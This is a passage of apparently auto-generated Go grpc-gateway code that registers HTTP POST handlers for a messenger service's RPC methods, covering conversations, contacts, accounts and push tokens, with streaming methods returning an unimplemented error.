md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_MessengerService_ParseDeepLink_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_MessengerService_SendContactRequest_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_MessengerService_SendContactRequest_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_MessengerService_SendContactRequest_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_MessengerService_SystemInfo_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_MessengerService_SystemInfo_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_MessengerService_SystemInfo_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_MessengerService_EchoTest_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\terr := status.Error(codes.Unimplemented, \"streaming calls are not yet supported in the in-process transport\")\n\t\t_, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\treturn\n\t})\n\n\tmux.Handle(\"POST\", pattern_MessengerService_EchoDuplexTest_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\terr := status.Error(codes.Unimplemented, \"streaming calls are not yet supported in the in-process transport\")\n\t\t_, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\treturn\n\t})\n\n\tmux.Handle(\"POST\", pattern_MessengerService_ConversationStream_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\terr := status.Error(codes.Unimplemented, \"streaming calls are not yet supported in the in-process transport\")\n\t\t_, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\treturn\n\t})\n\n\tmux.Handle(\"POST\", pattern_MessengerService_EventStream_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\terr := status.Error(codes.Unimplemented, \"streaming calls are not yet supported in the in-process transport\")\n\t\t_, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\treturn\n\t})\n\n\tmux.Handle(\"POST\", pattern_MessengerService_ConversationCreate_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_MessengerService_ConversationCreate_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_MessengerService_ConversationCreate_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_MessengerService_ConversationJoin_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_MessengerService_ConversationJoin_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_MessengerService_ConversationJoin_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_MessengerService_AccountGet_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_MessengerService_AccountGet_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_MessengerService_AccountGet_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_MessengerService_AccountUpdate_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_MessengerService_AccountUpdate_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_MessengerService_AccountUpdate_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_MessengerService_AccountPushConfigure_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_MessengerService_AccountPushConfigure_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_MessengerService_AccountPushConfigure_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_MessengerService_ContactRequest_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_MessengerService_ContactRequest_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_MessengerService_ContactRequest_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_MessengerService_ContactAccept_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_MessengerService_ContactAccept_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_MessengerService_ContactAccept_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_MessengerService_Interact_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_MessengerService_Interact_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_MessengerService_Interact_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_MessengerService_ConversationOpen_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_MessengerService_ConversationOpen_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_MessengerService_ConversationOpen_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_MessengerService_ConversationClose_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_MessengerService_ConversationClose_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_MessengerService_ConversationClose_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_MessengerService_ConversationLoad_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_MessengerService_ConversationLoad_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_MessengerService_ConversationLoad_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_MessengerService_ConversationMute_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_MessengerService_ConversationMute_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_MessengerService_ConversationMute_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_MessengerService_ServicesTokenList_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\terr := status.Error(codes.Unimplemented, \"streaming calls are not yet supported in the in-process transport\")\n\t\t_, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\treturn\n\t})\n\n\tmux.Handle(\"POST\", pattern_MessengerService_ReplicationServiceRegisterGroup_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_MessengerService_ReplicationServiceRegisterGroup_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_MessengerService_ReplicationServiceRegisterGroup_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_MessengerService_ReplicationSetAutoEnable_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_MessengerService_ReplicationSetAutoEnable_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_MessengerService_ReplicationSetAutoEnable_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_MessengerService_BannerQuote_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_MessengerService_BannerQuote_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_MessengerService_BannerQuote_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_MessengerService_InstanceExportData_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\terr := status.Error(codes.Unimplemented, \"streaming calls are not yet supported in the in-process transport\")\n\t\t_, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\treturn\n\t})\n\n\tmux.Handle(\"POST\", pattern_MessengerService_MessageSearch_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_MessengerService_MessageSearch_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_MessengerService_MessageSearch_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_MessengerService_ListMemberDevices_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\terr := status.Error(codes.Unimplemented, \"streaming calls are not yet supported in the in-process transport\")\n\t\t_, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\treturn\n\t})\n\n\tmux.Handle(\"POST\", pattern_MessengerService_TyberHostSearch_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\terr := status.Error(codes.Unimplemented, \"streaming calls are not yet supported in the in-process transport\")\n\t\t_, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\treturn\n\t})\n\n\tmux.Handle(\"POST\", pattern_MessengerService_TyberHostAttach_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_MessengerService_TyberHostAttach_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_MessengerService_TyberHostAttach_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_MessengerService_PushSetAutoShare_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_MessengerService_PushSetAutoShare_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_MessengerService_PushSetAutoShare_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_MessengerService_PushShareTokenForConversation_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_MessengerService_PushShareTokenForConversation_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_MessengerService_PushShareTokenForConversation_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_MessengerService_PushTokenSharedForConversation_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\terr := status.Error(codes.Unimplemented, \"streaming calls are not yet supported in the in-process transport\")\n\t\t_, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\treturn\n\t})\n\n\tmux.Handle(\"POST\", pattern_MessengerService_PushReceive_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = 